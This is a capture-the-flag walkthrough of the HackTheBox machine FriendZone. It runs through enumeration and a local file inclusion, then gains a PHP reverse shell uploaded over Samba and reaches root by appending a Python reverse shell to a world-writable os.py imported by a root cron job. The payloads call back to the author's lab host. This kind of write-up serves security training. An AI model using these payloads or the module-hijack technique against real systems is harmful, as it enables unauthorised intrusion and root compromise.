For this walkthrough, I decided to target
FriendZone. This particular machine took me three days to complete, and I was cursing its creator the entire time. What’s worse? They retired the machine while I was sleeping, the night before I beat the machine, so I got no points for the accomplishment.
Fake internet points aren’t as important as real-world experience. But it would have been nice to get the points.
Anyway, let’s get into it.
Nmap reveals a number of interesting ports active on the system:
root@haxys:~/htb# nmap -PN -sT -sV 10.10.10.123 -oA version-scan Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-11 16:58 EDT Nmap scan report for 10.10.10.123 Host is up (0.062s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.4.29 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds
I start with
Apache on ports 80 and 443. Port 80 (HTTP) features a website:
Port 443 (HTTPS) shows a 404 error message. I use
dirb to see if I can uncover anything hidden on either page. First I examine the HTTP site:
root@haxys:~/htb# dirb http://10.10.10.123/ /usr/share/dirb/wordlists/common.txt -r ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Jul 11 17:59:04 2019 URL_BASE: http://10.10.10.123/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt OPTION: Not Recursive ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.123/ ---- + http://10.10.10.123/index.html (CODE:200|SIZE:324) + http://10.10.10.123/robots.txt (CODE:200|SIZE:13) + http://10.10.10.123/server-status (CODE:403|SIZE:300) ==> DIRECTORY: http://10.10.10.123/wordpress/ ----------------- END_TIME: Thu Jul 11 18:03:52 2019 DOWNLOADED: 4612 - FOUND: 3
robots.txt is a false lead:
WordPress directory is another false lead:
server-status page returns a 403 error, and the HTTPS scan doesn’t give me much either; just another instance of the 403’d
I turn my attention to the
ISC BIND server on port 53. There was an email listed on the HTTP site, with a
friendzoneportal.red domain. I attempt a zone transfer to see what I can discover:
root@haxys:/media/shared# host -l friendzoneportal.red 10.10.10.123 Using domain server: Name: 10.10.10.123 Address: 10.10.10.123#53 Aliases: friendzoneportal.red has IPv6 address ::1 friendzoneportal.red name server localhost. friendzoneportal.red has address 127.0.0.1 admin.friendzoneportal.red has address 127.0.0.1 files.friendzoneportal.red has address 127.0.0.1 imports.friendzoneportal.red has address 127.0.0.1 vpn.friendzoneportal.red has address 127.0.0.1
Wonderful! I wonder what will happen if I visit the site with each of these different domains? I add them to my
root@haxys:/media/shared# cat /etc/hosts 10.10.10.123 friendzoneportal.red 10.10.10.123 admin.friendzoneportal.red 10.10.10.123 files.friendzoneportal.red 10.10.10.123 imports.friendzoneportal.red 10.10.10.123 vpn.friendzoneportal.red 127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters
dirb instances targeting each domain on ports 80 and 443, then manually visit the sites in
Firefox to see what I can find while the scans run. I discover a taunting gif:
I discover a login page on the HTTPS server, using the
This is promising! I examine this page for vulnerabilities. Looking at the source, I see that the form is submitted to
login.php. I hit enter without any values, and get the following error:
I try a few injections, but nothing works. This appears to be another false lead. None of the other subdomains return anything interesting.
Looking into the FTP server, I find that anonymous access has been disabled. I return to my
dirb processes, and they’ve returned nothing I hadn’t already found. Blast!
I choose to investigate
Enum4Linux provides a good deal of information (which I’ve trimmed for space):
root@haxys:~# enum4linux -a 10.10.10.123 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jul 11 19:00:50 2019 <...> Looking up status of 10.10.10.123 FRIENDZONE <00> - B <ACTIVE> Workstation Service FRIENDZONE <03> - B <ACTIVE> Messenger Service FRIENDZONE <20> - B <ACTIVE> File Server Service WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections <...> Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers Files Disk FriendZone Samba Server Files /etc/Files general Disk FriendZone Samba Server Files Development Disk FriendZone Samba Server Files IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu)) <...> [+] Attempting to map shares on 10.10.10.123 //10.10.10.123/print$ Mapping: DENIED, Listing: N/A //10.10.10.123/Files Mapping: DENIED, Listing: N/A //10.10.10.123/general Mapping: OK, Listing: OK //10.10.10.123/Development Mapping: OK, Listing: OK <...> [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\friend (Local User)
I can see that there’s an account called
friend on this machine, which is probably the account in possession of the
user.txt flag. I can also see that there are two open shares (
Development), and I can see that a closed share (
Files) is linked to the on-disk directory
I connect to the
root@haxys:~# smbclient \\\\10.10.10.123\\general Enter WORKGROUP\'s password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jan 16 15:10:51 2019 .. D 0 Wed Jan 23 16:51:02 2019 creds.txt N 57 Tue Oct 9 19:52:42 2018 9221460 blocks of size 1024. 6459252 blocks available smb: \> get creds.txt getting file \creds.txt of size 57 as creds.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) smb: \> exit root@haxys:~# cat creds.txt creds for the admin THING: admin:WORKWORKHhallelujah@#
I download the
creds.txt file from the share, which contains a username/password combination. I attempt the login on SSH, FTP, Samba, and the admin login I found earlier. Nothing works.
I connect to the
Development share, but it appears to be empty. Can I upload something? I attempt to upload the
creds.txt file I found earlier:
root@haxys:~# smbclient \\\\10.10.10.123\\Development Enter WORKGROUP\'s password: Try "help" to get a list of possible commands. smb: \> put creds.txt putting file creds.txt as \creds.txt (0.3 kb/s) (average 0.3 kb/s) smb: \> ls . D 0 Fri Jul 12 14:35:37 2019 .. D 0 Wed Jan 23 16:51:02 2019 creds.txt A 57 Fri Jul 12 14:35:38 2019 9221460 blocks of size 1024. 6441320 blocks available
The upload is a success! I’m now able to upload files to the system. But I don’t know where they’re located on-disk. I check on the various sites hosted on the server, but can’t find a trace of
Scanning back over my notes, I notice something. The first domain I found was
friendzoneportal.red, discovered on the homepage. This information was provided by the developer, but why should I trust them to give me the full picture? In all my scans, this machine self-identifies as
friendzoneportal. I decide to do a zone transfer to see if
friendzone.red is a valid TLD for this machine:
root@haxys:~# host -l friendzone.red 10.10.10.123 Using domain server: Name: 10.10.10.123 Address: 10.10.10.123#53 Aliases: friendzone.red has IPv6 address ::1 friendzone.red name server localhost. friendzone.red has address 127.0.0.1 administrator1.friendzone.red has address 127.0.0.1 hr.friendzone.red has address 127.0.0.1 uploads.friendzone.red has address 127.0.0.1
Bingo! Four new domains to investigate. I start
gobuster to scan each subdomain for new discoveries, then browse to the new domains in
https://friendzone.red/ I discover another taunting .gif:
https://administrator1.friendzone.red/ I discover a login form:
https://uploads.friendzone.red/ I discover a file upload page:
Uploading a file to the service sends me to a success page:
Uploading the same file again, I get a different number:
They appear to be some kind of time-stamp, but it’s ahead by an hour. I make a note of it, then return to
friendzone.red. Viewing the source code to the page, I find a reference to the
/js/js folder, which contains the following text:
Testing some functions ! I'am trying not to break things ! TmVuWGhwcUVKODE1NjI5NjQzOTdHZFF6Mkh3WUdF
Looks like some kind of hash, or perhaps an encoded string. I make a note, in case it becomes useful later. Viewing the source to this file, I find a comment that says:
<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->
Interesting. I return to
gobuster to check my results. I find an empty
/admin directory on the
friendzone.red virtual host. I discover a
/files directory on the
uploads.friendzone.red virtual host, but it returns an empty page (an empty
index.html file to prevent directory listing). Wondering if this is the location of the
Development share, I try loading
/files/creds.txt, but have no luck.
I return to the
administrator1 domain, and try the credentials from
dashboard.php as instructed, I find the following:
It’s asking for parameters to load an image. I try the default values first:
Another taunting image, an odd message, and a timestamp. Again, the timestamp is ahead of UTC by an hour or so. I try some nonsense values next:
I see a broken image link, and no timestamp. Opening the image in a new page, I see that it’s trying to load
/images/asdf, which doesn’t exist. But removing the
asdf gives me a directory listing:
I try loading each of the discovered images:
I return to the
dashboard.php page. I want to learn more about how these parameters actually work. Altering the
image_id parameter altered the image linked on the page, but it appears to simply fill a value in the
img tag. Altering the parameter, I am able to verify that the provided input gets placed directly into the HTML:
It’s clear that the
image_id parameter isn’t going to be much use, but the
pagename parameter seems promising. When set to
timestamp, I got a timestamp on the page, but setting it to
asdf took the timestamp away. The site claims to have been built by an amateur developer… Could the
pagename parameter be directly importing another PHP file? I try visiting
timestamp.php and sure enough, I get the timestamp line:
pagename parameter specifies the PHP file that gets imported into
timestamp, I attempt to load the
login.php script. The word “Wrong!” appears at the bottom of the page. Visiting
login.php by itself, I get the same message! Script execution! I’ve now got a confirmed Local File Inclusion (LFI).
On a whim, I try injecting the
dashboard page into its own LFI… The result is disastrous:
It is clear that the LFI exists, but the real question is whether it can be exploited. First, I need to know if I can traverse directories. I begin altering the
pagename parameter and checking the output values.
./timestampreturns the same page, timestamp still in place.
../timestampremoves the timestamp message from the bottom of the page.
This may confirm directory traversal, as the
timestamp.php script doesn’t exist in its parent directory. I need to find the name of the directory where
timestamp.php is being kept in order to confirm its location. Perhaps the directories are named after the virtual hosts?
../administrator1/timestampstill shows no timestamp.
Damn. But what about…
../admin/timestampshows a timestamp again!
Directory traversal is confirmed, and I now know that the
timestamp.php file is in the
admin directory. But where is this directory located on-disk?
/var/www/admin/timestampworks too! The script takes absolute paths!
Now I’ve confirmed that
/var/www/ is the website’s root directory, and that the
administrator1 subdomain is linked to the
admin/ subdirectory. What about the upload page from earlier?
/var/www/uploads/uploadworks as well, with the message “WHAT ARE YOU TRYING TO DO HOOOOOOMAN !”
uploads subdomain is tied to the
uploads/ subdirectory, but I’m unable to find the files I upload. But this isn’t the only place I can upload files; there’s also the Samba
Development share. Problem is, I don’t know where it’s located on-disk. I know that the
Files share is stored in
/etc/Files… Could the
Development share be stored in
I create a
test.php script containing the following PoC:
<?php echo "Hello!"; ?>
Then I upload the file to the
root@haxys:~# smbclient \\\\10.10.10.123\\Development Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> put test.php putting file test.php as \test.php (0.1 kb/s) (average 0.1 kb/s) smb: \> ls . D 0 Sat Jul 13 13:53:01 2019 .. D 0 Wed Jan 23 16:51:02 2019 test.php A 24 Sat Jul 13 13:53:01 2019 9221460 blocks of size 1024. 6460340 blocks available
Finally, I load
/etc/Development/test.php in the LFI:
Bingo! Code execution! Time to get a shell!
I create a
backdoor.php file as follows:
<?php # Connect to the IP and port where netcat is listening. $sock=fsockopen("10.10.14.22", 443); # Pipe the shell to the socket. proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
I upload the file to the
root@haxys:~# smbclient \\\\10.10.10.123\\Development Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> put backdoor.php putting file backdoor.php as \backdoor.php (0.9 kb/s) (average 0.9 kb/s) smb: \> ls . D 0 Sat Jul 13 14:01:20 2019 .. D 0 Wed Jan 23 16:51:02 2019 backdoor.php A 213 Sat Jul 13 14:01:21 2019 test.php A 24 Sat Jul 13 13:53:01 2019 9221460 blocks of size 1024. 6460328 blocks available
I start a
netcat listener on port 443, then I execute the backdoor script via the LFI. Returning to the terminal, I have a shell:
root@haxys:~# nc -vnlp 443 listening on [any] 443 ... connect to [10.10.14.22] from (UNKNOWN) [10.10.10.123] 56660 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
I’m currently logged in as
www-data… Not ideal, but it’s better than nothing! I’ll improve my shell with a little
$ python -c 'import pty;pty.spawn("/bin/bash")' www-data@FriendZone:/var/www/admin$
Finally! I know it doesn’t seem like it, reading this after the fact, but it took me two days to reach this point. I’ve cleaned up the report so that it flows well, but there were many moments of sheer frustration that I haven’t included in this report. And just as I get a shell, HTB retires the machine and everyone starts publishing their walkthroughs. Drat!
But I’m still not done. I’m going to conquer this beast, once and for all.
First things first, I dig into
g0tm1lk's excellent privilege escalation guide. I’m not sure what I’ll be able to accomplish as
www-data, but I’ll do what I can.
I quickly discern that the system is running
Ubuntu 18.04.1 LTS by using the
cat /etc/issue command. Checking
uname -a reveals that it’s a 64-bit architecture, running kernel
4.15.0-36-generic. I make a note, then move on.
cat /etc/passwd I confirm the existence of the
friend account, living in the
/home/friend/ directory. I wonder if I can access this directory?
www-data@FriendZone:/var/www/admin$ cd /home/friend cd /home/friend www-data@FriendZone:/home/friend$ ls -la ls -la total 36 drwxr-xr-x 5 friend friend 4096 Jan 24 00:59 . drwxr-xr-x 3 root root 4096 Oct 5 2018 .. lrwxrwxrwx 1 root root 9 Jan 24 00:59 .bash_history -> /dev/null -rw-r--r-- 1 friend friend 220 Oct 5 2018 .bash_logout -rw-r--r-- 1 friend friend 3771 Oct 5 2018 .bashrc drwx------ 2 friend friend 4096 Oct 5 2018 .cache drwx------ 3 friend friend 4096 Oct 6 2018 .gnupg drwxrwxr-x 3 friend friend 4096 Oct 6 2018 .local -rw-r--r-- 1 friend friend 807 Oct 5 2018 .profile -rw-r--r-- 1 friend friend 0 Oct 5 2018 .sudo_as_admin_successful -r--r--r-- 1 root root 33 Oct 6 2018 user.txt www-data@FriendZone:/home/friend$ cat user.txt cat user.txt a9ed20acecd6c5b6b52f474e15ae9a11
Success! User flag recovered. On to privilege escalation…
None of the files in the
friend home directory seem very interesting, so I check for world-writable folders and files:
www-data@FriendZone:/etc/Development$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null < -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null /etc/sambafiles /etc/Development /usr/lib/python2.7 www-data@FriendZone:/etc/Development$ find / -xdev -type f \( -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null < -perm -0002 -a ! -perm -1000 \) -print 2>/dev/null /etc/Development/backdoor.php /etc/Development/test.php /usr/lib/python2.7/os.py
I see that there’s a world-writable
Python module, and that the
/usr/lib/python2.7/ directory is also world-writable. I check to see what development and file-transfer tools I have:
The lack of
gcc is a nuisance, but that world-writable
Python module has aroused my suspicions. The
os module is widely-used. If I can find a scheduled
Python script that runs as
root and imports the
os module, then I might be able to inject code and escalate my privileges.
pspy from the project’s GitHub page and transfer it to the system, making sure to use the 64-bit version. (I transfer the file to
/tmp, since I know I’ve got write permissions there.) Running the script, I discover exactly what I was hoping to find:
www-data@FriendZone:/tmp$ ./pspy <...> 2019/07/14 00:00:01 CMD: UID=0 PID=2194 | /usr/bin/python /opt/server_admin/reporter.py 2019/07/14 00:00:01 CMD: UID=0 PID=2193 | /bin/sh -c /opt/server_admin/reporter.py 2019/07/14 00:00:01 CMD: UID=0 PID=2192 | /usr/sbin/CRON -f 2019/07/14 00:02:01 CMD: UID=0 PID=2198 | /usr/bin/python /opt/server_admin/reporter.py 2019/07/14 00:02:01 CMD: UID=0 PID=2197 | /bin/sh -c /opt/server_admin/reporter.py 2019/07/14 00:02:01 CMD: UID=0 PID=2196 | /usr/sbin/CRON -f 2019/07/14 00:04:01 CMD: UID=0 PID=2203 | /usr/bin/python /opt/server_admin/reporter.py 2019/07/14 00:04:01 CMD: UID=0 PID=2202 | /bin/sh -c /opt/server_admin/reporter.py 2019/07/14 00:04:01 CMD: UID=0 PID=2201 | /usr/sbin/CRON -f
Every two minutes, the system executes
root. Can I read the contents of that script? To find out, I’ll have to kill my connection, as
pspy is a long-running script that doesn’t let go. I disconnect, start my listener again, and refresh the
backdoor.php script via the LFI, and I’m once again rewarded with a shell.
I check to see if I can read the script:
www-data@FriendZone:/tmp$ ls -l /opt/server_admin/reporter.py ls -l /opt/server_admin/reporter.py -rwxr--r-- 1 root root 424 Jan 16 22:03 /opt/server_admin/reporter.py
Nice. I check if it imports the
www-data@FriendZone:/tmp$ head /opt/server_admin/reporter.py -n 5 head /opt/server_admin/reporter.py -n 5 #!/usr/bin/python import os to_address = "firstname.lastname@example.org"
Perfect! Time to exploit the flaw. With the following set of commands, I add a reverse shell to the end of the
echo >> /usr/lib/python2.7/os.py echo 'import socket, subprocess' >> /usr/lib/python2.7/os.py echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)' >> /usr/lib/python2.7/os.py echo 's.connect(("10.10.14.22", 80))' >> /usr/lib/python2.7/os.py echo 'dup2(s.fileno(),0)' >> /usr/lib/python2.7/os.py echo 'dup2(s.fileno(),1)' >> /usr/lib/python2.7/os.py echo 'dup2(s.fileno(),2)' >> /usr/lib/python2.7/os.py echo 'p=subprocess.call(["/bin/sh","-i"])' >> /usr/lib/python2.7/os.py
I start a new
netcat listener on port 80, and I wait. Sure enough, after only a moment, I get another shell:
root@haxys:~# nc -vnlp 80 listening on [any] 80 ... connect to [10.10.14.22] from (UNKNOWN) [10.10.10.123] 43332 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # cd /root # cat root.txt b0e6c60b82cf96e9855ac1656a9e90c7
And that’s that!
This was easily the most obnoxious system I’ve seen yet, but I feel good about having finished it. There was a point where I was raging at the fact that I had to guess at a location on-disk, but looking back I feel a bit foolish. The
Files share was mapped to
/etc/Files. My first guess was that the
Development share mapped to
/etc/Development… yet somehow I never actually tried that location until Day 3, after they’d already retired the machine. Lesson learned: Write down your guesses, and cross them off as you go.
root was pretty easy… I’ve never seen this approach before, but it made sense.
I’m glad to check this box off the list, even though I didn’t earn any points for the hack. Tomorrow I’ll be exploring Buffer Overflow (BOF) exploits in more depth, in preparation for the BOF part of the OSCP exam.
Thanks for reading!